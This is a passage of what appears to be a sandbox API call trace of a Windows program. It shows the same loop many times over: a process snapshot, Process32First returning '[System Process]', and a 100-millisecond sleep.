szExeFile="[System Process]")) returned 1 [0285.229] Sleep (dwMilliseconds=0x64) [0285.231] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0285.247] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.390] Sleep (dwMilliseconds=0x64) [0285.404] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0285.421] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.584] Sleep (dwMilliseconds=0x64) [0285.587] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0285.604] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.741] Sleep (dwMilliseconds=0x64) [0285.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0285.758] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.946] Sleep (dwMilliseconds=0x64) [0285.966] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0286.042] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.289] Sleep (dwMilliseconds=0x64) [0286.291] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0286.308] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.547] Sleep (dwMilliseconds=0x64) [0286.549] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0286.567] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.771] Sleep (dwMilliseconds=0x64) [0286.799] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0286.820] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0286.969] Sleep (dwMilliseconds=0x64) [0287.027] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0287.043] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.178] Sleep (dwMilliseconds=0x64) [0287.180] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0287.198] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.411] Sleep (dwMilliseconds=0x64) [0287.413] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0287.424] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.542] Sleep (dwMilliseconds=0x64) [0287.543] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0287.555] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.684] Sleep (dwMilliseconds=0x64) [0287.686] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0287.698] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.775] Sleep (dwMilliseconds=0x64) [0287.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0287.846] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0287.924] Sleep (dwMilliseconds=0x64) [0287.935] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0287.948] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.075] Sleep (dwMilliseconds=0x64) [0288.077] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0288.093] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.199] Sleep (dwMilliseconds=0x64) [0288.200] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0288.214] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.318] Sleep (dwMilliseconds=0x64) [0288.319] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0288.331] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0288.436] Sleep (dwMilliseconds=0x64) [0288.438] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0288.469] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0289.918] Sleep (dwMilliseconds=0x64) [0289.928] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0289.964] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.102] Sleep (dwMilliseconds=0x64) [0290.116] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0290.133] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.256] Sleep (dwMilliseconds=0x64) [0290.266] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0290.280] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0290.428] Sleep (dwMilliseconds=0x64) [0290.430] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0290.455] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.055] Sleep (dwMilliseconds=0x64) [0291.057] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0291.075] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.213] Sleep (dwMilliseconds=0x64) [0291.229] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0291.246] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.384] Sleep (dwMilliseconds=0x64) [0291.386] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0291.404] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.615] Sleep (dwMilliseconds=0x64) [0291.679] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0291.697] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0291.819] Sleep (dwMilliseconds=0x64) [0291.821] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0291.839] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.075] Sleep (dwMilliseconds=0x64) [0292.076] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0292.101] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.244] Sleep (dwMilliseconds=0x64) [0292.246] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0292.265] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.469] Sleep (dwMilliseconds=0x64) [0292.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0292.488] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.632] Sleep (dwMilliseconds=0x64) [0292.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0292.659] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0292.770] Sleep (dwMilliseconds=0x64) [0292.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0292.789] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.031] Sleep (dwMilliseconds=0x64) [0293.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0293.051] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.190] Sleep (dwMilliseconds=0x64) [0293.191] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0293.211] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.339] Sleep (dwMilliseconds=0x64) [0293.341] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0293.358] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.481] Sleep (dwMilliseconds=0x64) [0293.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0293.499] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.623] Sleep (dwMilliseconds=0x64) [0293.624] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0293.639] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.763] Sleep (dwMilliseconds=0x64) [0293.811] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21fc [0293.827] Process32First (in: hSnapshot=0x21fc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0293.909] Sleep (dwMilliseconds=0x64) [0293.920] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.012] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.122] Sleep (dwMilliseconds=0x64) [0294.123] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.138] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.238] Sleep (dwMilliseconds=0x64) [0294.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.252] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.358] Sleep (dwMilliseconds=0x64) [0294.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.373] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.473] Sleep (dwMilliseconds=0x64) [0294.476] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.492] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.592] Sleep (dwMilliseconds=0x64) [0294.594] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.608] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.681] Sleep (dwMilliseconds=0x64) [0294.683] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.700] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0294.805] Sleep (dwMilliseconds=0x64) [0294.807] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0294.819] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.063] Sleep (dwMilliseconds=0x64) [0295.064] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.077] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.206] Sleep (dwMilliseconds=0x64) [0295.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.220] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.328] Sleep (dwMilliseconds=0x64) [0295.329] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.344] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.417] Sleep (dwMilliseconds=0x64) [0295.419] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.471] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.549] Sleep (dwMilliseconds=0x64) [0295.560] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.574] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.675] Sleep (dwMilliseconds=0x64) [0295.677] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.689] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.818] Sleep (dwMilliseconds=0x64) [0295.820] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.839] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.946] Sleep (dwMilliseconds=0x64) [0295.977] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0295.995] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.187] Sleep (dwMilliseconds=0x64) [0296.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0296.202] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.451] Sleep (dwMilliseconds=0x64) [0296.453] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0296.467] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.586] Sleep (dwMilliseconds=0x64) [0296.589] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0296.605] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.728] Sleep (dwMilliseconds=0x64) [0296.731] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0296.747] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0296.873] Sleep (dwMilliseconds=0x64) [0296.875] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0296.892] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, 